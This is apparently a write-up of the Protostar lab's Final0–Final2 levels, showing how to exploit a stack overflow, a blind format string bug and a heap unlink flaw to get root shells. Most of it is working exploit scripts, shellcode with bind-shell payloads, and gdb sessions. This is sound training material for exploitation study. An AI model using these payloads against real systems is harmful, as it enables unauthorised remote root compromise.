Final0

The application is expecting a username and then returns it in Upper case

$ nc localhost 2995
alvaro  
No such user ALVARO  

The buffer is 512 bytes long but we need to look for the EIP overwrite offset since the compiler can change the buffer size to align it or other nasty reasons. We start trying to segfault the program till we get it with:

echo `python -c 'print "A"*532 + "DDDD"'` | nc localhost 2995  

We can verify it with gdb and the core dump:

root@protostar:~# gdb -q -c /tmp/core.11.final0.21580  
Core was generated by `/opt/protostar/bin/final0'.  
Program terminated with signal 11, Segmentation fault.  
#0  0x44444444 in ?? ()

We will use a ret2text technique since there is call to strdup just before returning from the vulnerable function, so we will control eax and it will point to a copy of our input data in the heap. So the exploit should place the shellcode at the beggining of the user input (after a convenient NOP sled) followed by some garbage till we reach the EIP overwrite offset: 532

We will need the "call eax" opcodes to be present in .text

user@protostar:~$ objdump -M intel -d /opt/protostar/bin/final0 | grep "call.*eax"  
 8048d18:    ff 14 85 9c ac 04 08    call   DWORD PTR [eax*4+0x804ac9c]
 8048d5f:    ff d0                   call   eax
 804992b:    ff d0                   call   eax

We can verify the addresses content in gdb:

root@protostar:~# gdb -q -c /tmp/core.11.final0.21781  
Core was generated by `/opt/protostar/bin/final0'.  
Program terminated with signal 11, Segmentation fault.  
#0  0x44444444 in ?? ()
(gdb) x/i 0x08048d5f
0x8048d5f:    call   *%eax  
(gdb) x/i 0x0804992b
0x804992b:    Cannot access memory at address 0x804992b  

It seems that the only valid "call eax" address is "0x08048d5f". We can use this address as the return address so we can jump to the address pointed by eax where our shellcode will be waiting for us:

Lets verify what is in the memory pointed by eax:

root@protostar:~# gdb -q -c /tmp/core.11.final0.21781  
Core was generated by `/opt/protostar/bin/final0'.  
Program terminated with signal 11, Segmentation fault.  
#0  0x44444444 in ?? ()
(gdb) i r eax
eax            0x804b008    134524936  
(gdb) x/10x $eax
0x804b008:    0x41414141  0x41414141  0x41414141  0x41414141  
0x804b018:    0x41414141  0x41414141  0x41414141  0x41414141  
0x804b028:    0x41414141  0x41414141  
(gdb) x/10x $eax -4
0x804b004:    0x00000209  0x41414141  0x41414141  0x41414141  
0x804b014:    0x41414141  0x41414141  0x41414141  0x41414141  
0x804b024:    0x41414141  0x41414141  

So our A buffer starts right at the address pointed by eax, nice!

We need a shellcode not containing lower case characters (within 0x61-0x7a range) so we will be using this shellcode

user@protostar:~$ echo `python -c 'print("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA" + "A"*306 + "\x5f\x8d\x04\x08" + "\n")'` | nc localhost 2995  

Now from a different terminal:

root@protostar:~# nc localhost 5074  
id  
uid=0(root) gid=0(root) groups=0(root)  

Final1

First we need how to interact with the application which is expecting a username and then "login" followed with a password:

user@protostar:~$ nc localhost 2994  
[final1] $ username alvaro
[final1] $ login passwd
login failed  

If we look at the syslog:

Dec 22 15:48:18 protostar final1: Login from 127.0.0.1:39666 as [alvaro] with password [passwd]  

The level is described as:

This level is a remote blind format string level. The 'already written' bytes can be variable, and is based upon the length of the IP address and port number.

When you are exploiting this and you don't necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.

So we are supposed to exploit a format string vulnerability in the logit function:

char buf[512];  
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);  
syslog(LOG_USER|LOG_DEBUG, buf);  

The snprintf is not vulnerable to format string attack but syslog is since its syntax is:

void syslog(int priority, const char *format, ...);  

We can place our shellcode at &username which we can control and its located at:

(gdb) p &username
$4 = (char (*)[128]) 0x804a220

We need to find the position offset poiting to a controlled 4 bytes space. In order to do so, I will run this little script that uses a shellcode in the "username" and then it sends a password containing DDDD (the 4 bytes we want to control) and a format string reading memory from a given position. Our intention is to find the position where the DDDD block is:

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2994))

#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \  
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \  
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \  
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \  
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \  
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \  
"BLAALMNIA"

for i in range(60):  
    s.send("username " + "\x90"*16 + shellcode + "\n")
    s.send("login " + "DDDD[" + str(i) + "] %" + str(i)+ "$08x" + "\n")
s.close()  

... will produce a long output including:

Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[47] 2064726f]  
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[48] 4444445b]  
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[49] 39345b44]  
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[50] 3525205d]  

So our DDDD block is split between position 48 and 49, We will run the script again but adding three chracters before our DDDD block in order to align it to a format string position.

Dec 23 04:07:04 protostar final1: Login from 127.0.0.1:39733 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [XXXDDDD[49] 44444444]  

Nice, now our DDDD is righ at 49 position. Now we will use the "%n" flag to write to a format string position. In this case to the number 49 that we control so we will write the number of bytes read so far to the address supplied instead of the DDDD block. As we want to overwrite a GOT entry to control program execution flow, we will find out the "puts" entry:

user@protostar:~$ objdump -TR /opt/protostar/bin/final1 | grep puts  
00000000      DF *UND*    00000000  GLIBC_2.0   puts  
0804a194 R_386_JUMP_SLOT   puts  

Ok, lets try it so far, we will overwrite the GOT entry with an unknow number (the bytes written so far):

s.send("username " + "\x90"*16 + shellcode + "\n")  
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%49$08n" + "\n")  

and we get

Dec 23 04:15:55 protostar kernel: [391899.936862] final1[23024]: segfault at ac ip 000000ac sp bffffc2c error 4 in final1[8048000+2000]  

Nice! a segfault, that means that we have successfully overwritten the puts entry in the GOT table with the value 000000ac thats the number of charcters written before the format flag.

So we need to write the &username address in the puts GOT entry.
Since the first 2 bytes are the same 0804, we can leave them untouched and just do a short write using the %hn flag. As an example:

s.send("username " + "\x90"*16 + shellcode + "\n")  
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%49$hn" + "\n")  

and we get

Dec 23 04:17:23 protostar kernel: [391988.195374] final1[23042]: segfault at 80400ac ip 080400ac sp bffffc2c error 4 in final1[8048000+2000]  

We can see that our "00ac" is now only written in the two last bytes leaving the first two "0804" untouched. Now instead of "00ac" we need to write "a220" to point to the "username" address. So we need to write the decimal value: 41504

a220-00ac(already written) = a174 = 41332

s.send("username " + "\x90"*16 + shellcode + "\n")  
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%41332d" + "%49$hn" + "\n")  

Damn it! it crashes!

Dec 23 04:41:58 protostar kernel: [393462.998619] final1[23234]: segfault at f9b452c1 ip 0804a277 sp bffffc14 error 4 in final1[804a000+1000]  

If we check it with gdb:

root@protostar:~# gdb -q -c /tmp/core.11.final1.23234  
Core was generated by `/opt/protostar/bin/final1'.  
Program terminated with signal 11, Segmentation fault.  
#0  0x0804a277 in ?? ()
(gdb) x/x 0x0804a194
0x804a194:    0x0804a220  

WAT??!?!?! so our exploit worked and we jumped to our shellcode but the shellcode crahsed
We pick a different shellcode and adjust the username so it has the same lenght and no format string position changes:

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 2994))

#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \  
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \  
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \  
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \  
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \  
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \  
"BLAALMNIA"  
print len(shellcode);

shellcode2 = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \  
                "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
                "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
                "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
                "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
                "\x0b\xcd\x80"
print len(shellcode2)

s.send("username " + "\x90"*16 + shellcode2 + "A"*(len(shellcode) - len(shellcode2)) + "\n")  
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%41332d" + "%49$hn" + "\n")  
s.close()  

and now it seems it works!:

root@protostar:~# netstat -natp | grep 4444  
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      23275/final1  

Lets go for it:

root@protostar:~# nc localhost 4444  
id  
uid=0(root) gid=0(root) groups=0(root)  

Final2

This level is about remote heap explotation and that means that we have to find a place in the program where we are able to overwrite a chunk of memory with arbitrary contents and that chunk needs to be freed afterwards.
If we read the code carefully we will find that the "check_path" function allows us to overwrite a chunk of memory since it uses "memmove" without checking its boundaries.

void check_path(char *buf)  
{
  char *start;
  char *p;
  int l;

  /*
   * Work out old software bug
   */

  p = rindex(buf, '/');
  l = strlen(p);
  if(p) {
    start = strstr(buf, "ROOT");
    if(start) {
      while(*start != '/') start--;
      memmove(start, p, l);
      printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
      "yes" : "no", start - buf);
    }
  }
}

"checkpath" is called from "getrequests" where a chunk of memory pointed by "buf" is reserved and we pass "check_path" a pointer to that buffer:

int get_requests(int fd)  
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
    if(dll >= 255) break;

    buf = calloc(REQSZ, 1);
    if(read(fd, buf, REQSZ) != REQSZ) break;

    if(strncmp(buf, "FSRD", 4) != 0) break;

    check_path(buf + 4);

    dll++;
  }

  for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
    free(destroylist[i]);
  }
}

In addition, a call to "free" is done on the "destroylist" array. We will need to check what are those chunks pointing to since they are not declared in the code provided.

This is a "sane" run of the program:

user@protostar:~$ python -c 'print "FSRD" + "A"*114 + "/ROOT/TOOR" + "FSRD" + "B"*114 + "/ROOT/TOOR"' | nc 127.0.0.1 2993  
Process OK  
Process OK  
Process OK  

Ok, so if we analyze the "check_path" function we see a "memmove(start, p , l)" call that means that "l" bytes starting on "p" are going to be copied to "start" so if we want to overwrite a chunk's headers, we need to send at least to chunks and somehow when checking chunk2 path, make "start" point a chunk1 address. This is actually quite easy since the program does not check if "start" belongs to current chunk or not and just keep looking for a "/" backwards in memory.

We know the following:

  • each request is 128 bytes long
  • each request must begin with "FSRD"
  • check_path will copy whatever appears after the last "/" on a chunk to the address where it finds the first "/" before ROOT

We want the following:

  • overwrite chunk2 headers, that means that we need to place a "/" in the last byte of the first chunk
  • we want to overwrite chunk2 headers in order to create a fake chunk with fd and bk pointers that allow us to overwrite an arbitrary address in memory
  • we want to overwrite a GOTs table entry of a funtion called after the free() call and overwrite it with a an address pointing to a memory area we control
  • we want to place a shellcode in that memory area that we control

So lets design our chunks:

  • Chunk1 = "FSRD" + "X"*(128 - 4 - 1) + "/"
  • Chunk2 = "FSRD" + "ROOT" + "/" + "newchunk2prevsize" + "newchunk2size" + "XXXX" + fakechunkbk" + "fakechunk_fd" + "NOP Sled" + "shellcode"

Where:

  • newchunk2prev_size will be a negative value (-4) so we fool free() to think that the chunk to unlink from bin is 4 bytes ahead of the chunk2 address and thats right after chunk2 "XXXX"
  • newchunk2size will be an arbitrary value ending in 0 so PREVINUSE will be false. That will make free() want to find that previous chunk and unlink it from "bin" in order to consolidate it with the chunk being freed before inserting the just consolidated chunk into "bin" again

When unlink() is called on the fake chunk, the address stored in its fd pointer (*fd) will be copied to the address pointed in its bk->fd (bk + 12). *fd -> bk + 12. So the address we want to overwrite will be placed in (bk + 12)

  • fakechunkfd = &shellcode
  • fakechunkbk = GOTs address - 12

We need to know GOTs address of a function called after free(), we will be using the write call right after the free() call in the loop:

user@protostar:~$ objdump -TR /opt/protostar/bin/final2 | grep write  
00000000      DF *UND*    00000000  GLIBC_2.0   write  
00000000      DF *UND*    00000000  GLIBC_2.0   fwrite  
0804d41c R_386_JUMP_SLOT   write  
0804d468 R_386_JUMP_SLOT   fwrite  

So the address we will be using in our exploit is 0x0804d41c - 0xc = 0x0804d410

We also need to know what is chunk2 address so we can calculate the &shellcode and we need to verify that the "free(destroylist[i])" is freeing our previously allocated chunks. We will use gdb and some breakpoints to find out these details:

root@protostar:~# netstat -natp | grep final2  
tcp        0      0 0.0.0.0:2993            0.0.0.0:*               LISTEN      1301/final2  
root@protostar:~# gdb -q /opt/protostar/bin/final2  
Reading symbols from /opt/protostar/bin/final2...done.  
(gdb) attach 1301
Attaching to program: /opt/protostar/bin/final2, process 1301  
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.  
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6  
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.  
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2  
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64  
64    ../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.  
    in ../sysdeps/unix/sysv/linux/i386/socket.S
Current language:  auto  
The current source language is "auto; currently asm".  

We will set two breakpoints after calling "calloc" to check the return value and before calling "free" to check the free's argument:

(gdb) disas get_requests
Dump of assembler code for function get_requests:  
0x0804bd47 <get_requests+0>:    push   %ebp  
0x0804bd48 <get_requests+1>:    mov    %esp,%ebp  
0x0804bd4a <get_requests+3>:    sub    $0x428,%esp  
0x0804bd50 <get_requests+9>:    movl   $0x0,-0x10(%ebp)  
0x0804bd57 <get_requests+16>:    cmpl   $0xfe,-0x10(%ebp)  
0x0804bd5e <get_requests+23>:    jg     0x804bddb <get_requests+148>  
0x0804bd60 <get_requests+25>:    movl   $0x1,0x4(%esp)  
0x0804bd68 <get_requests+33>:    movl   $0x80,(%esp)  
0x0804bd6f <get_requests+40>:    call   0x804b4ee <calloc>  
0x0804bd74 <get_requests+45>:    mov    %eax,-0x14(%ebp)  
0x0804bd77 <get_requests+48>:    mov    -0x10(%ebp),%eax  
0x0804bd7a <get_requests+51>:    mov    -0x14(%ebp),%edx  
0x0804bd7d <get_requests+54>:    mov    %edx,-0x414(%ebp,%eax,4)  
0x0804bd84 <get_requests+61>:    addl   $0x1,-0x10(%ebp)  
0x0804bd88 <get_requests+65>:    movl   $0x80,0x8(%esp)  
0x0804bd90 <get_requests+73>:    mov    -0x14(%ebp),%eax  
0x0804bd93 <get_requests+76>:    mov    %eax,0x4(%esp)  
0x0804bd97 <get_requests+80>:    mov    0x8(%ebp),%eax  
0x0804bd9a <get_requests+83>:    mov    %eax,(%esp)  
0x0804bd9d <get_requests+86>:    call   0x8048e5c <read@plt>  
0x0804bda2 <get_requests+91>:    cmp    $0x80,%eax  
0x0804bda7 <get_requests+96>:    jne    0x804bdde <get_requests+151>  
0x0804bda9 <get_requests+98>:    movl   $0x4,0x8(%esp)  
0x0804bdb1 <get_requests+106>:    movl   $0x804c2d1,0x4(%esp)  
0x0804bdb9 <get_requests+114>:    mov    -0x14(%ebp),%eax  
0x0804bdbc <get_requests+117>:    mov    %eax,(%esp)  
0x0804bdbf <get_requests+120>:    call   0x8048fdc <strncmp@plt>  
0x0804bdc4 <get_requests+125>:    test   %eax,%eax  
0x0804bdc6 <get_requests+127>:    jne    0x804bde1 <get_requests+154>  
0x0804bdc8 <get_requests+129>:    mov    -0x14(%ebp),%eax  
0x0804bdcb <get_requests+132>:    add    $0x4,%eax  
0x0804bdce <get_requests+135>:    mov    %eax,(%esp)  
0x0804bdd1 <get_requests+138>:    call   0x804bcd0 <check_path>  
0x0804bdd6 <get_requests+143>:    jmp    0x804bd57 <get_requests+16>  
0x0804bddb <get_requests+148>:    nop  
0x0804bddc <get_requests+149>:    jmp    0x804bde2 <get_requests+155>  
0x0804bdde <get_requests+151>:    nop  
0x0804bddf <get_requests+152>:    jmp    0x804bde2 <get_requests+155>  
0x0804bde1 <get_requests+154>:    nop  
0x0804bde2 <get_requests+155>:    movl   $0x0,-0xc(%ebp)  
0x0804bde9 <get_requests+162>:    jmp    0x804be1c <get_requests+213>  
0x0804bdeb <get_requests+164>:    movl   $0xb,0x8(%esp)  
0x0804bdf3 <get_requests+172>:    movl   $0x804c2d6,0x4(%esp)  
0x0804bdfb <get_requests+180>:    mov    0x8(%ebp),%eax  
0x0804bdfe <get_requests+183>:    mov    %eax,(%esp)  
0x0804be01 <get_requests+186>:    call   0x8048dfc <write@plt>  
0x0804be06 <get_requests+191>:    mov    -0xc(%ebp),%eax  
0x0804be09 <get_requests+194>:    mov    -0x414(%ebp,%eax,4),%eax  
0x0804be10 <get_requests+201>:    mov    %eax,(%esp)  
0x0804be13 <get_requests+204>:    call   0x804a9c2 <free>  
0x0804be18 <get_requests+209>:    addl   $0x1,-0xc(%ebp)  
0x0804be1c <get_requests+213>:    mov    -0xc(%ebp),%eax  
0x0804be1f <get_requests+216>:    cmp    -0x10(%ebp),%eax  
0x0804be22 <get_requests+219>:    jl     0x804bdeb <get_requests+164>  
0x0804be24 <get_requests+221>:    leave  
0x0804be25 <get_requests+222>:    ret  
End of assembler dump.  
(gdb) b *get_requests+45
Breakpoint 1 at 0x804bd74: file final2/final2.c, line 43.  
(gdb) b *get_requests+201
Breakpoint 2 at 0x804be10: file final2/final2.c, line 55.  

Now, we will tell gdb to follow the process children and continue to wait for the incoming connection:

(gdb) set follow-fork-mode child
(gdb) c
Continuing.  

Now we can send our test payload:

s.send("FSRD" + "X"*(128-4-1) + "/")  
s.send("FSRD" + "ROOT" + "/" + "\xfc\xff\xff\xff" + "\xff\xff\xff\xff" + "XXXX" + "AAAA" + "DDDD" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4-4-1) + shellcode)  

and in gdb we get our new process:

[New process 1490]
[Switching to process 1490]

Breakpoint 1, 0x0804bd74 in get_requests (fd=4) at final2/final2.c:43  
43    final2/final2.c: No such file or directory.  
    in final2/final2.c
Current language:  auto  
The current source language is "auto; currently c".  

In our first breakpoint we should be able to get the first chunk address:

(gdb) i r eax
eax            0x804e008    134537224  

Lets continue and find out the address of the second chunk:

(gdb) c
Continuing.

Breakpoint 1, 0x0804bd74 in get_requests (fd=4) at final2/final2.c:43  
43    in final2/final2.c  
(gdb) i r eax
eax            0x804e090    134537360  

This looks ok: 0x804e090 - 0x804e008 = 0x88 = 136 = 128 + 8 (headers)
So now we know that the second chunk will be allocated in 0x804e090 and our shellcode should be 29 bytes ahead. Since we have a nop sled, lets say 36 -> 0x804e090 + 36 = 0x804eb4

When we hit the second breakpoint (just before the first call to free()):

Breakpoint 2, 0x0804be10 in get_requests (fd=4) at final2/final2.c:55  
55    in final2/final2.c  
(gdb) i r eax
eax            0x804e008    134537224  

We can check that we were right and that the chunks being freed were the ones we previouly allocated.

Lets see how does the chunk1 memory looks like before the free():

(gdb) x/32x 0x804e008
0x804e008:    0x44525346  0x58585858  0x58585858  0x58585858  
0x804e018:    0x58585858  0x58585858  0x58585858  0x58585858  
0x804e028:    0x58585858  0x58585858  0x58585858  0x58585858  
0x804e038:    0x58585858  0x58585858  0x58585858  0x58585858  
0x804e048:    0x58585858  0x58585858  0x58585858  0x58585858  
0x804e058:    0x58585858  0x58585858  0x58585858  0x58585858  
0x804e068:    0x58585858  0x58585858  0x58585858  0x58585858  
0x804e078:    0x58585858  0x58585858  0x58585858  0x2f585858  

This looks pretty sane, our "FSRD" string followed by 123 "X"s and then a "/" (0x2f)

And the chunk2:

(gdb) x/32x 0x804e008+136
0x804e090:    0x44525346  0x544f4f52  0xfffffc2f  0xffffffff  
0x804e0a0:    0x585858ff  0x41414158  0x44444441  0x90909044  
0x804e0b0:    0x90909090  0x90909090  0x90909090  0x90909090  
0x804e0c0:    0xf7db3190  0x534353e3  0xe189026a  0x80cd66b0  
0x804e0d0:    0x68525e5b  0x5c1102ff  0x5051106a  0x666ae189  
0x804e0e0:    0x8980cd58  0x04b30441  0x80cd66b0  0xcd66b043  
0x804e0f0:    0x6a599380  0x80cd583f  0x68f87949  0x68732f2f  
0x804e100:    0x69622f68  0x50e3896e  0xb0e18953  0x0080cd0b  

Again we have our "FSRD" string followed by the "ROOT" one, the "/", the "-4", "-1", 4*"X", 4"A"s, 4"D"s, the NOP sled and our shellcode

Now lets take a look at the chunk 2 headers:

(gdb) x/2x 0x804e090-8
0x804e088:    0x00000000  0x00000089  

Damn it, our memmove call has not worked correctly, since we were expecting our "-4" and "-1" here.

If we start the debugging again and add a breakpoint to analyze "check_path", we find out that its only being called once for chunk1, not for chunk2. There was a error in our payload so that the second chunk was only 127 bytes and so we broke the loop. Once fixed:

s.send("FSRD" + "X"*(128-4-1) + "/")  
s.send("FSRD" + "ROOT" + "/" + "\xfc\xff\xff\xff" + "\xff\xff\xff\xff" + "XXXX" + "AAAA" + "DDDD" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4-4) + shellcode)  

We hit the second call to "check_path". The chunk2 headers before the "memmove":

(gdb) x/2x 0x804e090-8
0x804e088:    0x00000000  0x00000089  

and after the "memmove"

(gdb) x/2x 0x804e090-8
0x804e088:    0x896e6962  0x895350e3  

Damn it!!! something went wrong. Lets check chunk2 memory:

(gdb) x/32x 0x804e008+136
0x804e090:    0xcd0bb0e1  0x544f4f80  0xfffffc2f  0xffffffff  
0x804e0a0:    0x585858ff  0x41414158  0x44444441  0x90909044  
0x804e0b0:    0x90909090  0x90909090  0x90909090  0x90909090  
0x804e0c0:    0xdb319090  0x4353e3f7  0x89026a53  0xcd66b0e1  
0x804e0d0:    0x525e5b80  0x1102ff68  0x51106a5c  0x6ae18950  
0x804e0e0:    0x80cd5866  0xb3044189  0xcd66b004  0x66b04380  
0x804e0f0:    0x599380cd  0xcd583f6a  0xf8794980  0x732f2f68  
0x804e100:    0x622f6868  0xe3896e69  0xe1895350  0x80cd0bb0  

So the first 8 bytes also looks wrong. It seems like we have copy to the right position, but the wrong content and length.

The problem is that our shellcode contains "/"s so we wont be copying the right content. Lets put the shellcode before the last "/" and the fake fd and bk pointers:

s.send("FSRD" + "X"*(128-4-1) + "/")  
s.send("FSRD" + "ROOT" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4) + shellcode + "/" + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "DDDD")  

Now lets check again if the "memmove" worked as expected:

(gdb) x/2x 0x804e090-8
0x804e088:    0xfffffffc  0xffffffff  

And our chunk2 memory space:

(gdb) x/32x 0x804e090
0x804e090:    0x0804d410  0x44444444  0x90909090  0x90909090  
0x804e0a0:    0x90909090  0x90909090  0x90909090  0x90909090  
0x804e0b0:    0xf7db3190  0x534353e3  0xe189026a  0x80cd66b0  
0x804e0c0:    0x68525e5b  0x5c1102ff  0x5051106a  0x666ae189  
0x804e0d0:    0x8980cd58  0x04b30441  0x80cd66b0  0xcd66b043  
0x804e0e0:    0x6a599380  0x80cd583f  0x68f87949  0x68732f2f  
0x804e0f0:    0x69622f68  0x50e3896e  0xb0e18953  0x2f80cd0b  
0x804e100:    0xfffffffc  0xfffffffc  0x0804d410  0x44444444  

This looks ok, however we are getting a SIGSEGV when freeing the first chunk:

Program received signal SIGSEGV, Segmentation fault.  
0x0804aaf8 in free (mem=0x804e008) at final2/../common/malloc.c:3648  
3648    final2/../common/malloc.c: No such file or directory.  
    in final2/../common/malloc.c

Lets see what is happening:

(gdb) x/i 0x0804aaf8
0x804aaf8 <free+310>:    mov    %edx,0x8(%eax)  
(gdb) i r eax
eax            0x44444444    1145324612  
(gdb) i r edx
edx            0x804d410    134534160  

Oh nice, so its just us trying to overwrite the GOT entry with our DDDD block. So lets use the address of our shellcode instead. AS we saw in the chunk2 memory, our shellcode starts in 0x804e098:

(gdb) x/32x 0x804e090
0x804e090:    0x0804d410  0x44444444  0x90909090  0x90909090  
0x804e0a0:    0x90909090  0x90909090  0x90909090  0x90909090  
0x804e0b0:    0xf7db3190  0x534353e3  0xe189026a  0x80cd66b0  
0x804e0c0:    0x68525e5b  0x5c1102ff  0x5051106a  0x666ae189  
0x804e0d0:    0x8980cd58  0x04b30441  0x80cd66b0  0xcd66b043  
0x804e0e0:    0x6a599380  0x80cd583f  0x68f87949  0x68732f2f  
0x804e0f0:    0x69622f68  0x50e3896e  0xb0e18953  0x2f80cd0b  
0x804e100:    0xfffffffc  0xfffffffc  0x0804d410  0x44444444  

So our final payload will be:

s.send("FSRD" + "X"*(128-4-1) + "/")  
s.send("FSRD" + "ROOT" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4) + shellcode + "/" + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x98\xe0\x04\x08" )  

Lets try it:

```

and the shell should be waiting for us in port 4444:

lang-bash line-numbers root@protostar:~# netstat -natp | grep LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 777/portmap
tcp 0 0 0.0.0.0:2993 0.0.0.0:* LISTEN 1301/final2
tcp 0 0 0.0.0.0:2994 0.0.0.0:* LISTEN 1299/final1
tcp 0 0 0.0.0.0:2995 0.0.0.0:* LISTEN 1297/final0
tcp 0 0 0.0.0.0:2996 0.0.0.0:* LISTEN 1295/net3
tcp 0 0 0.0.0.0:2997 0.0.0.0:* LISTEN 1293/net2
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1361/sshd
tcp 0 0 0.0.0.0:2998 0.0.0.0:* LISTEN 1291/net1
tcp 0 0 0.0.0.0:2999 0.0.0.0:* LISTEN 1289/net0
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1270/exim4
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1819/final2
tcp 0 0 0.0.0.0:46752 0.0.0.0:* LISTEN 789/rpc.statd
tcp6 0 0 :::22 :::* LISTEN 1361/sshd
tcp6 0 0 ::1:25 :::* LISTEN 1270/exim4
root@protostar:~# nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)
```

Voila!!